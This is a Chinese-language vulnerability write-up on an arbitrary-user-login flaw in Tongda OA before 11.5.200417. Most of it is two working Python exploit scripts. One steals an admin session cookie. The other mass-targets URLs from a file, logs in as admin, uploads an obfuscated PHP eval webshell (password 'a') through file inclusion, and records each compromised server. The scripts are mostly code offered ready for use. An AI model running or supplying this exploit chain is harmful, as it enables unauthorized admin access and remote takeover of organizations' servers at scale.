通达OA \< 11.5.200417 任意用户登录漏洞
======================================
一、漏洞简介
------------
未经授权的攻击者可以通过构造进行任意用户登录（包括admin），登录之后可进一步上传恶意文件控制网站服务器。
二、漏洞影响
------------
通达OA \< 11.5.200417版本
三、复现过程
------------
### 第一种利用方法
> 第一步：拿到uid
http://www.0-sec.org/general/login_code.php
http://www.0-sec.org/ispirit/login_code.php
> 第二步：拿到cookie
http://www.0-sec.org/logincheck_code.php
> 第三步：
http://www.0-sec.org/general/index.php?is_modify_pwd=1
### 第二种利用方法
> 第一步：
http://www.0-sec.org/ispirit/login_code.php
> 第二步：
http://www.0-sec.org/general/login_code_scan.php
> 第三步：
http://www.0-sec.org/ispirit/login_code_check.php?codeuid={EED2B9FE-F865-DCF1-0E8D-3326AE163F6D}
> 第四步：
### 获取cookie poc
import requests
import argparse
import random
import warnings
import sys
import re
class Tond_da_poc():
def __init__(self,url):
self.url = url+'/'
self.user_agent =USER_AGENTS = [
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; AcooBrowser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Acoo Browser; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506)",
"Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.35; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
"Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)",
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0)",
"Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 1.0.3705; .NET CLR 1.1.4322)",
"Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30)",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3) Arora/0.3 (Change: 287 c9dfb30)",
"Mozilla/5.0 (X11; U; Linux; en-US) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Arora/0.6",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2pre) Gecko/20070215 K-Ninja/2.1.1",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9) Gecko/20080705 Firefox/3.0 Kapiko/3.0",
"Mozilla/5.0 (X11; Linux i686; U;) Gecko/20070322 Kazehakase/0.4.5",
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko Fedora/1.9.0.8-1.fc10 Kazehakase/0.5.6",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/535.20 (KHTML, like Gecko) Chrome/19.0.1036.7 Safari/535.20",
"Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; fr) Presto/2.9.168 Version/11.52",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.11 TaoBrowser/2.0 Safari/536.11",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.71 Safari/537.1 LBBROWSER",
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; LBBROWSER)",
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E; LBBROWSER)",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.84 Safari/535.11 LBBROWSER",
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)",
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; QQBrowser/7.0.3698.400)",
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)",
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; SV1; QQDownload 732; .NET4.0C; .NET4.0E; 360SE)",
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)",
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)",
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1",
"Mozilla/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; zh-cn) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5",
"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b13pre) Gecko/20110307 Firefox/4.0b13pre",
"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:16.0) Gecko/20100101 Firefox/16.0",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11",
"Mozilla/5.0 (X11; U; Linux x86_64; zh-CN; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10"
]
self.payload_url_uid = '/general/login_code.php'
self.payload_url_cookie = '/logincheck_code.php'
self.headers= {'headers':random.choice(self.user_agent)}
self.vulhub = False
def get_tongda_uid(self):
url =self.url+self.payload_url_uid
r = requests.get(url=url,headers=self.headers,verify=False).text
print('[*] Checking current URL UID' )
uid_txt =r.split('code_uid')
uid_compile = re.compile(r'"({.*})"')
try:
get_uid = re.findall(uid_compile,r)
if len(get_uid) > 0:
print('【+】 Get current uid successfully',get_uid[0])
self.vulhub = True
return get_uid
else:
print('[-] Failed to get current UID')
except Exception as error:
pass
def get_tongda_cookies(self):
url =self.url +self.payload_url_cookie
data = {'CODEUID':self.get_tongda_uid(),'UID':1}
r =requests.post(url,data=data,headers =self.headers,verify=False)
try:
if r.headers['Set-Cookie'] != None and self.vulhub != False:
tongda_cookie =r.headers['Set-Cookie']
print('【+】 Get session of current URL successfully',tongda_cookie)
else:
print('[-] Failed to get session of current URL')
except Exception as error:
pass
def run(self):
self.get_tongda_cookies()
if __name__ == '__main__':
# Author : 小泫
warnings.simplefilter("ignore")
if (len(sys.argv)) < 2:
print('useage : python' +str(sys.argv[0]) + ' -h')
else:
parser =argparse.ArgumentParser()
parser.description ='通达OA < 11.5版本 任意用户登录'
parser.add_argument('-u',help="待检测url -> example http://127.0.0.1",type=str,dest='check_url')
args =parser.parse_args()
aa = Tond_da_poc(args.check_url)
aa.run()
### getshell poc
> url.txt： 测试url，支持批量
>
> vuln.txt：上传成功的webshell
>
> 上传的默认一句话shell密码a
# Usage: python tongda.py
# Default webshell password:a
import requests
import threadpool
import urllib3
import json
import base64
urllib3.disable_warnings()
header = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded",
"Referer": "https://google.com",
}
proxy = { # debug
"http": "http://127.0.0.1:8080",
"https": "http://127.0.0.1:8080"
}
def wirte_targets(vurl, filename):
with open(filename, "a+") as f:
f.write(vurl + "\n")
return vurl
def get_cookie(url):
checkHeader = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded",
"Referer": "https://google.com",
}
try:
req1 = requests.get(url + "/ispirit/login_code.php", headers=checkHeader, verify=False, timeout=25)
if req1.status_code == 200 and "codeuid" in req1.text:
codeUid = json.loads(req1.text)["codeuid"]
else:
req1 = requests.get(url + "/general/login_code.php", headers=checkHeader, verify=False, timeout=25)
status = req1.text.find('{"status":1')
if req1.status_code == 200 and status != -1:
codeUid = json.loads(req1.text[status:])["code_uid"]
else:
return "123"
req2 = requests.post(url+ "/general/login_code_scan.php", data={"codeuid": codeUid, "uid": int(1), "source": "pc", "type": "confirm", "username": "admin"}, headers=checkHeader, verify=False, timeout=25)
if req2.status_code == 200 and json.loads(req2.text)["status"] == "1":
req3 = requests.get(url + "/ispirit/login_code_check.php?codeuid=" + codeUid, headers=checkHeader, verify=False, timeout=25)
if req3.status_code == 200 and '"uid":"1"' in req3.text:
cookie = req3.headers["Set-Cookie"]
return cookie
except:
pass
return "123"
def exp(u):
uploadHeader = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36",
"Content-Type": "multipart/form-data; boundary=----fuck123",
"Referer": "https://google.com",
}
shellName = "templates.php"
tongdaDir = "/"
uploadFlag = "upload jpg shell"
shellFlag = "sucess !!"
webPath = tongdaDir + shellName
printFlag = ""
cookie = get_cookie(u)
if cookie != "123":
printFlag = "[Login]：" + u + "/general/index.php\t" + cookie + "\n"
header["Cookie"] = cookie
# password:a
# POST method
# base64.decode: <?php $a="~+d()"^"!{+{}";$b=${$a}["a"];eval("".$b);echo "sucess !!";?>
b64Shell = "PD9waHAgJGE9In4rZCgpIl4iIXsre30iOyRiPSR7JGF9WyJhIl07ZXZhbCgiIi4kYik7ZWNobyAi" + base64.b64encode(shellFlag.encode("utf-8")).decode("utf-8") + "Ijs/Pg=="
uploadData = "------fuck123\r\nContent-Disposition: form-data; name=\"UPLOAD_MODE\"\r\n\r\n1\r\n------fuck123\r\nContent-Disposition: form-data; name=\"P\"\r\n\r\n" + cookie[cookie.find("=")+1:cookie.find(";")] + "\r\n------fuck123\r\nContent-Disposition: form-data; name=\"DEST_UID\"\r\n\r\n1\r\n------fuck123\r\nContent-Disposition: form-data; name=\"ATTACHMENT\"; filename=\"jpg\"\r\nContent-Type: image/jpeg\r\n\r\n<?php\r\nfile_put_contents($_SERVER[\"DOCUMENT_ROOT\"].\"/" + webPath + "\", base64_decode('" + b64Shell + "'));\r\necho \"" + uploadFlag + "\";\r\n?>\r\n------fuck123--"
try:
uploadHeader["Cookie"] = cookie
req1 = requests.post(u + "/ispirit/im/upload.php", headers=uploadHeader, verify=False, data=uploadData, timeout=25)
text = req1.text
if req1.status_code == 200 and "[vm]" in text:
uploadFilePath = text[text.find("@")+1:text.find("|")].replace("_", "/")
includeData = 'json={"url":"/general/../../attach/im/' + uploadFilePath + '.jpg"}'
req2 = requests.post(u + "/mac/gateway.php", headers=header, verify=False, data=includeData, timeout=25)
if req2.status_code == 404 or uploadFlag not in req2.text:
req2 = requests.post(u + "/ispirit/interface/gateway.php", headers=header, verify=False, data=includeData, timeout=25)
if req2.status_code == 200 and uploadFlag in req2.text:
shellPath = u + webPath
req3 = requests.get(shellPath, headers=header, verify=False, timeout=25)
if shellFlag in req3.text:
printFlag = "[Getshell]：" + shellPath + "\t" + cookie + "\n"
wirte_targets(shellPath, "vuln.txt")
except:
pass
print(printFlag, end="")
def multithreading(funcname, filename="url.txt", pools=5):
works = []
with open(filename, "r") as f:
for i in f:
func_params = [i.rstrip("\n")]
works.append((func_params, None))
pool = threadpool.ThreadPool(pools)
reqs = threadpool.makeRequests(funcname, works)
[pool.putRequest(req) for req in reqs]
pool.wait()
if __name__ == "__main__":
multithreading(exp, "url.txt", 8) # Default threads 8
# Usage: python tongda.py
# Default webshell password:a
参考链接
--------
> https://www.yuque.com/xiaoxuan-3vnio/nucw6f/wbqg8f
>
> https://github.com/clm123321/tongda\_oa\_rce/blob/master/tongda.py